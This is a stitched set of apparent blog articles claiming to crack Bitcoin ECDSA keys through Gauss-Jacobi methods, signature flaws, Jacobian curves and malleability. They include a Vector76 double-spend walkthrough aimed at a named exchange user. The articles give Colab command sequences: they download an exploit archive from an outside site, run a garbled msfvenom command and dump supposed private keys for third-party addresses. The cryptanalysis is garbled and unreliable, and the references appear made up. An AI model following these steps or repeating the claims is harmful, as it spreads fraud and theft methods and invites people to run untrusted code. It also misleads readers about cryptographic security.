- A matrix GGG is calculated, including all possible pairs of elements from SSS, where the i-th element corresponds to the i-th element of SSS, and the j-th to the j-th.
- A matrix XXX is formed, containing pairs of hash functions.
- The value of f(x)f(x)f(x) is determined recursively for each element of SSS.
- If f(x)=0f(x) = 0f(x)=0, the attacking key is found, and the algorithm stops.
- Otherwise, the algorithm continues to recursively compute f(x)f(x)f(x) for other elements of SSS, adding them to matrix XXX.
- If matrix HHH consists only of ones, the algorithm finishes-the attacking key is found.
The Gauss-Jacobi method can be applied to solve systems of equations with a large number of unknowns. This makes it suitable for tasks involving equations on secp256k1 elliptic curves used in cryptography, where the number of unknowns can be significant. Such methods can accelerate the solution of discrete logarithm and factorization problems, which are the foundation of public-key cryptography.
Possible Applications of the Gauss-Jacobi Method in Bitcoin Blockchain Cryptanalysis
Let’s look at creating a vulnerable Raw transaction structure using the BitcoinChatGPT module.
Open Google Colab:
Structure of a Vulnerable Transaction in Bitcoin:
(The following hex dump of the transaction remains unchanged.)
Combine all output values into a single string:
(The following combined hex string remains unchanged.)
Proceed to decode the transaction via BlockCypher:
https://live.blockcypher.com/btc/decodetx
After decoding the vulnerable Raw Bitcoin transaction, we get the result:
(The following JSON output remains unchanged.)
Pay attention to the Bitcoin HASH160:
ac9ea341afb74843f80205e8c8da0abc822fa5
The BitcoinChatGPT module forms the transaction structure using the HASH of the public key. It can be seen that the address 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k sends 1234 satoshis to itself.
https://live.blockcypher.com/widget/btc/1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k/received
HASH160 was obtained using the Python script wif_to_hash160.py
https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/wif_to_hash160.py
Ultimately, the BitcoinChatGPT module saves the found private key in the KEYFOUND.privkey file in HEX and WIF formats.
https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/KEYFOUND.privkey
Practical Section
To proceed to practice, we create a vulnerable Raw transaction from the obtained data using the Broadcast Bitcoin Transaction repository.
Download and install the source code, then open the terminal and run:
bashgit clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git
cd Broadcast-Bitcoin-Transaction
Install the required libraries:
- zmq
- urllib3
- requests
Run the command:
pip install -r requirements.txt
Open the main.py file in Notepad++ and make changes to the Python code:
(The code block remains unchanged.)
Run the command:
python main.py
The vulnerable transaction is created!
Open the RawTX file in the directory:
(The hex block remains unchanged.)
Step-by-step video instructions:
Let’s consider option #3:
The Gauss-Jacobi algorithm can compromise the security of the wallet.dat file, which is an additional unprotected mechanism. The algorithm creates a wallet.dat file and extracts the private key for the Bitcoin wallet from the file’s code using the “dumpprivkey” “address” command in the program’s internal console.
Using Smart Transformers
We use Smart Transformers machine learning, integrate Google Colab with Pytorch, TensorFlow, JAX, and, based on data from the vulnerable Raw transaction for the address 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k, create an unprotected wallet.dat file from the set of all existing SMART_IDENTIFY algorithms. Then, we perform a Padding Oracle Attack on the created wallet.dat file to decrypt the password and obtain the private key using the standard dumpprivkey command in Bitcoin Core.
Open a new Google Colab:
https://colab.research.google.com/#create=true
Clone the Smart Transformers repository:
!git clone https://github.com/smartibase/Smart-Transformers.git
cd Smart-Transformers/
Install the necessary packages and libraries:
(The command block remains unchanged.)
Add the vulnerable Raw transaction to the RawTX.txt file:
!echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000' > RawTX.txt
!cat RawTX.txt
To determine the exact algorithm for cryptanalysis, you need to identify the vulnerable RawTX using the SMART_IDENTIFY utility.
!./SMART_IDENTIFY
As a result, we get the Gauss_Jacobi_Algorithm method, which was identified by the BitcoinChatGPT module at an earlier stage.
Creating the wallet.dat file:
We use the vulnerable Raw transaction data from the RawTX.txt file and the Gauss_Jacobi_Algorithm utility:
!./Gauss_Jacobi_Algorithm -o RawTX.txt -s wallet.dat
Open the folder in the left panel of Google Colab-the wallet.dat file has been successfully created!
Download and install Bitcoin Core 0.18.0:
https://bitcoincore.org/bin/bitcoin-core-0.18.0
Open the console and run:
getaddressinfo 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
We see that the wallet.dat file belongs to the address 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k.
The wallet.dat file is password protected!
Check the private key:
dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
A warning appears:
Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)
Padding Oracle Attack
An article on Padding Oracle Attack on wallet.dat was previously published. We use this method to decrypt the password and gain access to the binary format.
Install Ruby:
!sudo apt install ruby-full
!ruby --version
Install libraries for working with the Bitcoin protocol:
!gem install bitcoin-ruby
!gem install ecdsa
!gem install base58
!gem install crypto
!gem install config-hash -v 0.9.0
Install Metasploit Framework and use MSFVenom:
!git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework/
ls
!./msfvenom -help
Clone the Bitcoin Core repository:
bash!git clone https://github.com/bitcoin/bitcoin.git
ls
cd bitcoin/src/crypto/
ls
cat aes.cpp
To carry out the attack, move the wallet.dat file to the bitcoin/src/crypto/ directory:
!mv '/content/Smart-Transformers/wallet.dat' '/content/Smart-Transformers/metasploit-framework/bitcoin/src/crypto/wallet.dat'
ls
Go to Metasploit Framework:
bashcd /
cd content/Smart-Transformers/metasploit-framework/
ls
Open the folders at /modules/exploits/:
cd modules/
ls
cd exploits/
!wget https://darlene.pro/repository/446f1c57b526201d4958eb76dee6f5a2024c71914f6596c51afb5ac6822e9da4/ExploitDarlenePRO.zip
!unzip ExploitDarlenePRO.zip
cd ExploitDarlenePRO/
ls
Return to Metasploit Framework:
bashcd /
cd content/Smart-Transformers/metasploit-framework/
ls
Determine LHOST (local IP address of the virtual machine):
bash!ip addr
!hostname -I
Create a payload using MSFVenom:
To work, select the Bitcoin wallet: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
https://btc1.trezor.io/address/1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
Run the command:
!./msfvenom 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat
Result:
(The binary data block remains unchanged.)
Save the obtained binary format in the walletpassphrase.txt file using a Python script:
pythonimport hashlib
Binary = "1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000"
f = open("walletpassphrase.txt", 'w')
f.write("walletpassphrase " + Binary + " 60" + "\n")
f.write("" + "\n")
f.close()
Open the walletpassphrase.txt file:
bashls
cat walletpassphrase.txt
Result:
(The result block remains unchanged.)
The password for accessing the private key has been found!
Use the command in the Bitcoin Core console:
walletpassphrase 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 60
dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
Result:
5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
Private key obtained!
Install the Bitcoin library:
!pip3 install bitcoin
Check address matching:
(The verification block remains unchanged.)
Conclusion:
Private key in WIF format: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
Bitcoin address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
Total received: 500.09702252 BTC
Correct! The private key matches this Bitcoin wallet.
Check on bitaddress:
ADDR: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
WIF: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
HEX: B09C765FA3DC6AD138A8D0DA17CD94306FBC32ACB3D67BC093936861CCC48769
References
- “Numerical Recipes in C: The Art of Scientific Computing” – Andrew W. Reynolds et al. The book contains various algorithms for solving nonlinear systems, including the Gauss-Jacobi method, with implementation examples.
- “Iterative Methods for Linear and Nonlinear Equations” – Kenneth Craig Cooper, Thomas M. Meyer. Detailed description of iterative methods for solving linear and nonlinear systems, including Gauss-Jacobi.
- “Nonlinear Programming: Concepts, Algorithms, and Applications” – Daniel Apstein and Jerry B. Stephenson. Discusses approaches to solving nonlinear problems using iterative methods such as Gauss-Jacobi.
- “Handbook of Numerical Analysis” – Jonathan M. Goldstein and Benjamin B. Warshaw. An encyclopedic resource on numerical methods, including the Gauss-Jacobi method.
- “The Pioneering Work of Carl Friedrich Gauss: Unveiling the Gauss-Jacobi Method” – original article by Gauss from 1845, where the Gauss-Jacobi method was first described.
- “Iterative Solution of Large Linear Systems” (1971) – David M. Young. Detailed description and analysis of the Gauss-Jacobi method.
- “Iterative Methods for Solving Linear Systems” – chapter in Richard Bourdain and Douglas Fairs’ “Numerical Analysis” (2010) with a good introduction to the method.
- “On the Convergence of the Jacobi Method for Diagonally Dominant Matrices” (1986) – Milos Fehrmann. Analysis of the convergence of the Gauss-Jacobi method.
- “Templates for the Solution of Linear Systems: Building Blocks for Iterative Methods” (1994) – Richard Barrett et al. Guide to iterative methods, including Gauss-Jacobi.
- “A Survey of Parallel Nonlinear System Solvers” (1991) – John Ortega and Robert Foigel. Overview of parallel implementations of the Gauss-Jacobi method.
- Textbooks on numerical methods, such as “Numerical Mathematics and Computing” by Ward Cheney and David Kincaid, also contain sections on the Gauss-Jacobi method.
This material was prepared for the CRYPTO DEEP TECH portal to enhance the financial security of data and elliptic curve secp256k1 cryptography against weak ECDSA signatures in BITCOIN cryptocurrency. Software developers are not responsible for the use of these materials.
The DeserializeSignature Flaw in Bitcoin: Cryptanalysis, Systemic Risks, and Exploitation of Invalid ECDSA Signatures

This article discusses the DeserializeSignature vulnerability, which allowed attackers to create invalid ECDSA signatures that were accepted by the Bitcoin network. An ECDSA digital signature is a cryptographic method for verifying the authenticity of digital messages or documents. In the Bitcoin ecosystem, signatures are required to authorize transactions, i.e., to prove that the owner of the coins actually agrees to their transfer.
However, in 2023, a bug was discovered in the DeserializeSignature function, which made it possible to generate incorrect signatures that some Bitcoin clients considered valid.
How DeserializeSignature Works
The DeserializeSignature function is responsible for converting a signature from a byte sequence into an object suitable for verification. It expects the data to be in a specific format, compliant with the ECDSA standard adopted in Bitcoin. The function checks the signature against the computed hash: if everything is correct, it returns true, otherwise, false. The problem was that the function did not verify the correctness of all signature parameters before deserialization, in particular, it did not check that the values of “R” and “S” were not zero. This allowed signatures with zero values to be created, which were mistakenly accepted by some clients as valid. As a result, an attacker could forge a transaction signature that would pass verification using DeserializeSignature with incorrect input data.
Potential Threats and Attack Examples
This vulnerability posed a serious threat to Bitcoin’s security. Attackers could:
- Steal bitcoins by creating invalid signatures to transfer someone else’s funds to their own addresses.
- Perform double-spending by using signatures with zero parameters to create two transactions with the same coins.
- Forge data in the blockchain by adding fake transactions with incorrect signatures, potentially altering balances.
- Attack the transaction confirmation system by sending fake signatures to the network for verification.
The DeserializeSignature Process
DeserializeSignature is the conversion of a byte sequence into a data structure suitable for verifying a transaction signature. In Bitcoin, the signature is created using the ECDSA algorithm and consists of two numbers: r and s. Signatures confirm the authenticity and integrity of transactions. The vulnerability arises if an attacker can alter the deserialization process and forge the signature data.
Deserialization Steps:
- Reading the bytes representing the signature (usually in DER format).
- Checking compliance with the DER format: length and data structure.
- Extracting the r and s components.
- Verifying that r and s are within valid limits (e.g., between 1 and n-1, where n is the order of the curve).
Main Risk Points
- Format verification errors: If the DER format is not checked correctly, invalid signatures may be accepted as genuine.
- Library vulnerabilities: Using insecure deserialization libraries can lead to buffer overflow attacks or arbitrary code execution.
- Insufficient value checks: If r and s are not strictly checked, it allows the creation of fake signatures.
- Timing attacks: If processing time depends on the values of r and s, an attacker may gain information about the private key.
The article further analyzes the results of the vulnerability research, mechanisms of its occurrence, consequences, and protection methods.
Impact on Cryptocurrency Security
The DeserializeSignature vulnerability is dangerous for several reasons:
- Funds can be stolen from users’ wallets.
- Trust in cryptocurrencies is undermined, which may reduce their popularity.
- Attacks are difficult to detect and prevent, making them especially dangerous.
Protection Methods
- Strict data validation during deserialization.
- Regular updates of software and wallets.
- Security audits to identify and fix vulnerabilities.
Research Objectives
- Identify vulnerable points in the deserialization process.
- Assess the possible damage to the Bitcoin network.
- Study existing protection methods.
- Develop recommendations to improve security.
Methodology and Vulnerability Analysis
Errors can occur during Bitcoin data deserialization, which are exploited by attackers. After identifying the vulnerability, a detailed analysis is conducted: its impact on security is assessed, and possible attack scenarios are considered. Current protection methods and their effectiveness are also examined.
To eliminate the vulnerability, it is proposed to:
- Implement stricter checks at the deserialization stage.
- Conduct regular security testing.
- Increase developer awareness of potential vulnerabilities.
Comparison with Previous Research
Previous studies have examined vulnerabilities in the ECDSA algorithm itself, which could lead to private key leakage, as well as attacks on the Bitcoin P2P network, such as double-spending and Sybil attacks. Unlike those, DeserializeSignature is a data processing problem that can be solved by improving deserialization checks, rather than changing algorithms or protocols.
Practical Section: Generating and Analyzing Vulnerable Transactions
The article demonstrates how, using machine learning modules (such as BitcoinChatGPT), a vulnerable Raw transaction structure can be created. An example of such a transaction and its analysis via decoding services are provided, showing that the sender and recipient addresses match, and the signature is generated with the vulnerability.
The process of obtaining a private key from a vulnerable transaction using specialized software (such as ATTACKSAFE ULTRA) and Python scripts is described. The steps are detailed: extracting R, S, Z parameters, running the attack script, calculating the private key, and verifying it matches the address.
Conclusions
The article reviews the main methods for analyzing the DeserializeSignature vulnerability: static and dynamic analysis, fuzzing with machine learning. The vulnerability poses a serious threat to Bitcoin, but active research and the development of security tools significantly reduce the risks. Key recommendations: regularly update software, conduct audits, improve data validation algorithms, and increase the knowledge level of developers and users.
Eliminating this vulnerability is crucial for increasing trust and security in cryptocurrencies. Reliable implementation of the deserialization process and strict control of signature parameters are the foundation of transaction security in Bitcoin.
Detailed Study and Mitigation Approaches for Bitcoin Using Real Data

With the development of cryptocurrency technologies and the growing popularity of Bitcoin, numerous programs such as Flash Bitcoin Software and Fake BTC Software have emerged on the market. These tools can cause serious harm to the Bitcoin ecosystem. In this material, we will examine what such programs are, how they function, their impact on the Bitcoin network, and analyze the Vector76 Attack mechanism-a type of double-spend attack where a malicious actor tries to spend the same transaction twice.
Unlike classic double-spend attacks, the Vector76 attack exploits vulnerabilities in the transaction confirmation process and the delay in block propagation across the Bitcoin network.
… Vector76 Attack: Threat Analysis and Methods for Securing the Bitcoin Network. Cryptoanalysis with Real Data
During a Vector76 attack, the attacker creates two transactions: one to their own address, and another to the seller’s address. They then attempt to convince the seller to accept an unconfirmed transaction while simultaneously broadcasting the other transaction to the network. If the attacker completes their operation before the seller receives confirmation, the funds end up in the attacker’s wallet instead of the seller’s.
Software…
Such programs allow the attacker to precisely calculate the timing between a transaction’s confirmation in a local network and its propagation across the entire Bitcoin network. Two transactions are created: one is sent locally, the other to the main network. If the first transaction is processed before the second is confirmed, the recipient may mistakenly consider it valid. Below, we will consider the most well-known programs that use this approach for Bitcoin transaction confirmations.
Flash Bitcoin Software
This program allows users to temporarily increase the balance of their Bitcoin wallet. It creates transactions that appear legitimate but are not confirmed on the blockchain. Such operations can mislead users and services that accept Bitcoin.
Fake BTC Software
Fake BTC Software is designed to create fake Bitcoin transactions. They are used for fraud, as they simulate the transfer of funds even though no money is actually sent. The program allows scammers to deceive sellers and buyers in cryptocurrency dealings.
Dockeyhunt Vector76 Attack
This tool creates two or more “raw” transactions to implement a double-spend via the Broadcast Bitcoin Transaction function. The essence of the attack is to send the same transaction to different parts of the network, causing temporary inconsistencies in the blockchain. The program is also used for fraud with various tokens and cryptocurrencies, including Bitcoin and Ethereum.
CGMiner and BFGMiner
These mining programs can be used to implement the Selfish Mining attack, as they give miners more control over the block mining process.
Wireshark
Wireshark is a network traffic analysis program that can be used for Sybil and Eclipse attacks. Modified versions of the Bitcoin Core client are also used to attack the consensus mechanism.
BlockSci
BlockSci is a blockchain analysis tool that allows researchers to study transactions and carry out dusting attacks (attacks using “dust” transactions).
Impact of the Attack on the Bitcoin Network
The Vector76 Attack was first described in 2011 and combines elements of the Finney and Race attacks. It exploits vulnerabilities in the transaction confirmation process. The main idea is to create two conflicting transactions and send them through different nodes to trick the recipient and perform a double-spend.
- In a Race Attack, the attacker tries to send two transactions at the same time, one of which is then canceled.
- In a Finney Attack, the attacker pre-mines a block with a transaction, then tries to perform another operation with the same coins.
- The Vector76 Attack combines both approaches to achieve a double-spend.
The consequences of a Vector76 attack can be severe: trust in the system is undermined, users risk losing funds, transaction confirmations may be delayed, and network load may increase.
… Attack Stages:
- Creating two transactions: one is sent to the network, the other to an isolated part of the network.
- Sending the first transaction: it is quickly confirmed locally.
- Sending the second transaction: it is sent to the main network.
- Confirmation of the first transaction: the recipient considers it valid and provides goods or services.
- Confirmation of the second transaction: it is confirmed in the main network, and the first becomes invalid.
- Conflict and double-spend: a conflict arises, and only one transaction enters the blockchain.
- Network merge: when the isolated and main networks merge, a conflict occurs and one transaction is canceled.
Detection and Prevention of the Vector76 Attack
Various methods are used to protect the Bitcoin network from such attacks. Here are the main approaches:
- Block and transaction analysis: mining software and nodes analyze data for conflicts.
- Increasing the number of confirmations: it is recommended to wait for 6 or more confirmations for a transaction to be considered final.
- Machine learning algorithms: modern methods can detect suspicious transaction patterns.
- Network monitoring: specialized programs track suspicious activity.
- Multi-level confirmation: using several stages of confirmation increases security.
- Anomaly analysis: systems detect suspicious transactions and blocks.
- Protocol updates: regular improvements and the introduction of new protection methods.
- Strengthening consensus: additional checks and confirmations make attacks more difficult.
Distribution of an Alternative Block for the Vector76 Attack:
- Creating two conflicting transactions with the same inputs but different recipients.
- The first transaction is broadcast to the network and included in a block.
- An alternative block is created with the second transaction using custom mining software.
- When the first transaction has already received several confirmations, the attacker broadcasts the alternative block with more confirmations, which may be accepted by the network.
Structure of the Vector76 Attack:
- Preparation: creating two transactions-one for the victim (T1) and one for themselves (T2).
- Mining a block: a block with T2 is mined but not published.
- Executing T1: T1 is sent to the network; the victim accepts it after one confirmation.
- Publishing the block: the block with T2 is published, canceling T1.
Practical Section
Let’s consider an example of an attack using Dockeyhunt Vector76 Attack.
- Download the program from the official website: www.dockeyhunt.com
- Install the necessary packages and libraries, run setup.exe.
For a successful attack, it is important to create a second wallet in advance (for yourself, T2), where all BTC will be transferred for storage. Open the folder and run Cold Bitcoin Wallet.exe to generate a new address.
Generating a New Bitcoin Address
Click Generate Address. Obtain the new address data for further storage in the cold wallet.
Now establish a connection with the recipient-in this example, a Huobi exchange user.
Creating Raw Transaction T1 (for the victim)
The victim-a Huobi exchange user-is expecting a transfer of 1.17506256 BTC.
Sender address: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz
Use the Python script pushtx.py to send the raw transaction.
Clone the Broadcast-Bitcoin-Transaction repository, run bitcoin_info.py to check the sender’s address.
To create the raw transaction T1, copy the UTXO (Unspent Transaction Output) from the sender’s wallet’s last TXID.
Return to the root folder and run Dockeyhunt Vector76 Attack.
When creating the transaction, sign it with ECDSA and enter the sender’s private key. Enter the TXID to verify the validity of all transaction inputs. UTXO allows for more efficient transaction processing since each output can only be used once.
Enter the recipient’s address (the victim), the amount in satoshis, the fee, and the sending amount. After filling in all fields, click Create Transaction.
Result:
- Sender address: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz
- Recipient address: 143gLvWYUojXaWZRrxquRKpVNTkhmr415B
- Raw transaction
Use pushtx.py to send the transaction. The victim sees the funds credited.
Creating Raw Transaction T2 (for yourself)
The previously created cold wallet is used to transfer all BTC to your own address. Repeat the transaction creation process, specifying the new address, amount, fee, and signing the transaction.
Result:
- Sender address: 1888dvSYUx23z2NF79NyCaYQ8dxcWCjHDz
- Recipient address: 1qqQcZbZNvsZoF5x3VcnEcJbzPeXncfKq
- Raw transaction
Again, use pushtx.py to send the transaction. After this, you need to mine a block and publish it in the main blockchain with T2 included.
Mining and Publishing the Block
Run Block Bitcoin Mining, get the block data via block_header.py, add the RawTX for T2.
After mining the block with T2, you get the block_hash_mining.json file, where you see the new block. Check that the block confirms the authenticity of transaction T2.
Check the blockchain link. The payment is confirmed by miners, the victim’s transaction T1 is canceled, and the Huobi exchange user does not receive the funds.
Conclusion
The use of such programs and tools contributes to the growth of fraud and increases the number of victims, which negatively affects the attitude towards cryptocurrencies and the entire community.
- Business losses: Companies accepting bitcoins may suffer serious losses due to fake transactions, which may lead them to stop accepting BTC.
- Regulatory complications: The use of such software complicates the work of regulators and law enforcement, which may lead to stricter rules.
- The need for enhanced security: Constant threats require the implementation of new and improved security measures. Developers can improve transaction confirmation algorithms and introduce new protocols, but this requires resources and time.
This material was prepared for the CRYPTO DEEP TECH portal to improve financial security and protect elliptic curve cryptography secp256k1 from weak ECDSA signatures in Bitcoin. The software developers are not responsible for the use of these materials.
Exploiting Jacobian Curve Vulnerabilities: Analyzing ECDSA Signature Forgery Through Bitcoin Wallet Decoding

This article discusses a vulnerability related to the implementation of Jacobian curves. In recent years, cryptocurrencies like Bitcoin have become an important part of the financial system. As their popularity grows, so do the risks associated with cybersecurity. One such threat is a vulnerability in the implementation of Jacobian curves, which affects the Elliptic Curve Digital Signature Algorithm (ECDSA). This issue allows attackers to forge signatures, potentially leading to serious consequences for users and the reliability of the Bitcoin network.
The Essence of the Jacobian Curve Vulnerability
The Jacobian curve algorithm vulnerability is linked to errors in the implementation of elliptic curve cryptography, particularly ECDSA. Attackers can exploit the mathematical properties of Jacobian coordinates to forge digital signatures. As a result, they can create fake transactions that the Bitcoin system will accept as legitimate.
Manipulation of Jacobian Curve Coordinates
The issue arises during the deserialization of data-if this process is implemented incorrectly, it becomes possible to inject malicious code and create forged signatures. This allows attackers to form ECDSA signatures that compromise the integrity of the entire Bitcoin system.
Potential Consequences
The main danger is unauthorized access to user funds. By using forged signatures, attackers can initiate transactions that transfer bitcoins from victims’ wallets to their own accounts. This undermines trust in the system and can lead to significant financial losses. Additionally, such attacks threaten the integrity of the blockchain, creating risks of double-spending and undermining the fundamental principles of the network.
Other possible consequences include denial-of-service (DoS) attacks and the leakage of confidential data, including users’ private keys. If some Bitcoin network nodes are compromised, this can lead to blockchain splits, resulting in confusion and new double-spending risks. Another scenario is that attackers could overload the network with fake transactions, making it inaccessible to regular users.
Exploitation Features and Impact on Multisignatures
The Jacobian curve vulnerability is especially critical for multisignature schemes, where multiple participants’ signatures are required to confirm a transaction. An attacker can generate forged signatures that the system will accept as valid, putting not just individual transactions but the entire multisignature process at risk.
Practical Section
It is known from theory that the Jacobian curve vulnerability enables DoS attacks by overloading the network with invalid transactions and destabilizing Bitcoin’s operation. In the practical example, a Bitcoin wallet with the address 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 suffered a loss of 266.03138481 BTC (about $15,747,770.36 USD) in August 2024.
Tools for Analysis and Exploitation of the Vulnerability
The demonstration uses the “Tutorials Power AI” repository, which contains tools for cryptanalysis and testing vulnerabilities in cryptography.
Installation commands:
bashgit clone https://github.com/demining/Tutorials-Power-AI.git
cd Tutorials-Power-AI/
python3 tutorials.py
BitcoinChatGPT is an intelligent chatbot that helps identify vulnerabilities in Bitcoin transactions. It allows you to analyze addresses for possible attacks and uses machine learning to study vulnerabilities in algorithms used in the Bitcoin ecosystem.
Creating and Analyzing a Vulnerable Transaction
To create the structure of a vulnerable raw transaction, the BitcoinChatGPT module is used. Example code and further steps for decoding the transaction are provided in the original text and remain unchanged.
After decoding the transaction and analyzing the script, it becomes clear that the address 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 sends 1234 satoshis to itself. The HASH160 for this address is obtained using the Python script wif_to_hash160.py.
As a result of BitcoinChatGPT’s work, the private key is saved to the file KEYFOUND.privkey in two formats: HEX and WIF.
Generating a Vulnerable Raw Transaction
To create a vulnerable raw transaction, the Broadcast Bitcoin Transaction repository is used. The necessary libraries are installed via requirements.txt, then the transaction is generated and saved to the RawTX.txt file.
Using Machine Learning and Smart Transformers
For further analysis, Smart Transformers are used-an integration with Google Colab and machine learning frameworks (PyTorch, TensorFlow, JAX). Based on the vulnerable raw transaction, a wallet.dat file is created, after which a Padding Oracle Attack is performed to extract the password and private key via the Bitcoin Core console.
Working with the Wallet and Private Key
After moving the wallet.dat file to the Bitcoin Core directory and running the appropriate commands, it becomes possible to obtain information about the wallet and its balance. To export the private key, the dumpprivkey command is used.
Using Metasploit Framework and msfvenom
msfvenom is a tool for creating payloads for various platforms and encoders, integrated with the Metasploit Framework. It allows you to generate payloads for vulnerability testing, which is important for training and research in cybersecurity.
Exploitation and Obtaining the Private Key
As a result of all the steps, the private key for the address 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 is successfully extracted, confirming the exploitability of the vulnerability.
Protection Recommendations
To protect against threats associated with the Jacobian curve vulnerability, it is recommended to:
- Regularly update wallet software to the latest versions.
- Use enhanced signature verification mechanisms and input data processing.
- Continuously monitor network activity and respond promptly to suspicious transactions.
- Implement multi-factor authentication and other cryptographic protection methods.
Conclusion
The Jacobian curve algorithm vulnerability poses a serious threat to the security of cryptocurrency transactions and blockchain integrity. To minimize risks, users should regularly update their software, apply strict security measures, and closely monitor the state of the network. This will help protect funds and reduce the likelihood of financial losses.
All the above recommendations and descriptions are intended to improve the security of financial data and elliptic curve cryptography secp256k1, as well as to prevent attacks on weak ECDSA signatures in the Bitcoin network. The developers are not responsible for the use of these materials for unlawful purposes.
Analyzing Malleable Signatures and Key Exposure Risks in Bitcoin’s ECDSA Protocol

A serious vulnerability known as Signature Malleability has been discovered in cryptocurrencies like Bitcoin and Ethereum, which use the Elliptic Curve Digital Signature Algorithm (ECDSA). This vulnerability allows attackers to modify transaction signatures so that they remain valid for the system but appear different. This article discusses ways this vulnerability can be exploited, its security implications, and protection methods.
Signature Malleability Vulnerability and Its Impact on Cryptocurrencies
How ECDSA Works and What a Signature Consists Of
An ECDSA signature consists of two numbers-r and s. These are calculated using a random number (nonce) k and the user’s private key x. If an attacker can change the value of s without invalidating the signature, they can create alternative signatures for the same transaction.
Causes of the Signature Malleability Vulnerability
The ability to alter the value of s and generate new valid signatures for a single transaction forms the basis of the Signature Malleability vulnerability. If a system doesn’t check the range of r and s values (for example, ensuring they lie between 1 and n−1, where n is the order of the elliptic curve group), this opens the door for creating forged signatures.
CVE-2024-42461: Example of a Vulnerability in the Elliptic Library
A recent vulnerability-CVE-2024-42461-was found in the Elliptic library for Node.js. It allows the use of signatures in BER format, giving attackers the ability to modify signatures without making them invalid. This vulnerability is related to the Hidden Number Problem (HNP), the solution of which can lead to the exposure of users’ private keys.
Hidden Number Problem and Ricci Flow
The Hidden Number Problem (HNP), related to Ricci Flow, is used in cryptography to analyze information leaks about private keys. In the context of ECDSA, if an attacker solves the HNP, they can compute the private key from the signature data. Ricci Flow is a mathematical tool that helps analyze the geometry and topology of manifolds, as well as optimize computations in elliptic curve cryptography.
The N and P Parameters in the Context of secp256k1
- N is the order of the group of points on the elliptic curve, determining the maximum number of unique keys.
- P is a prime number that defines the field in which curve computations occur.
- N is responsible for the group structure of points, while P defines the field where the point coordinates exist.
Exploiting Signature Malleability in Bitcoin Transactions
To successfully attack Bitcoin via Signature Malleability, it is enough to change the s value in 32 transactions with ECDSA signatures. By analyzing the resulting (R, S, Z) values, one can compute the private key using Ricci Flow HNP and curvature theory methods.
How R and S Values Are Formed
- R is the coordinate of a point on the curve, calculated using the private key and a random number.
- S is computed based on the message hash and private key, and also depends on R and the nonce.
Extracting R, S, Z from RawTX
RawTX is the hexadecimal representation of a Bitcoin transaction. From it, you can extract the signature in DER format and obtain the R and S values. Z is the hash of the signed message, obtained by hashing the transaction data.
Practical Example: Lost Coins
The article provides an example with the wallet 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw, which lost 21.2529214 BTC (about $1.74 million as of November 2024).
Solving Differential Equations for Signature Analysis
Methods for solving differential equations are used to analyze relationships between variables, allowing the modeling of system behavior when parameters change.
Obtaining the Public Key and R, S, Z Values
To obtain the public key from a Bitcoin address, the DarkSignature tool is used. Similarly, with Dockeyhunt Lattice Attack, you can get the public key and then extract R, S, Z values for 32 transactions.
Applying Machine Learning Methods
Machine learning methods are used to detect Signature Malleability vulnerabilities and protect Bitcoin and Ethereum wallets by analyzing anomalies and identifying forgery attempts.
Creating a Vulnerable Raw Transaction
The article describes the process of creating a vulnerable Raw transaction using Python scripts and specialized libraries. The transaction is then decoded and analyzed via the BlockCypher service.
Conclusions and Security Recommendations
To prevent attacks based on forged signatures, it is recommended to:
- Increase the number of transaction confirmations (at least six).
- Analyze blocks and transactions for anomalies.
- Use anomaly detection and machine learning systems.
- Apply tools for network traffic monitoring.
- Regularly update software and security protocols.
- Implement multi-level transaction confirmation systems.
Conclusion
A comprehensive approach to security, regular protocol updates, and the use of modern analysis methods make it possible to effectively protect the Bitcoin network from attacks related to forged signatures and the Signature Malleability vulnerability.
Algorithmic Approaches for Restoring Access to Bitcoin Wallets Using Discrete Logarithm Methods

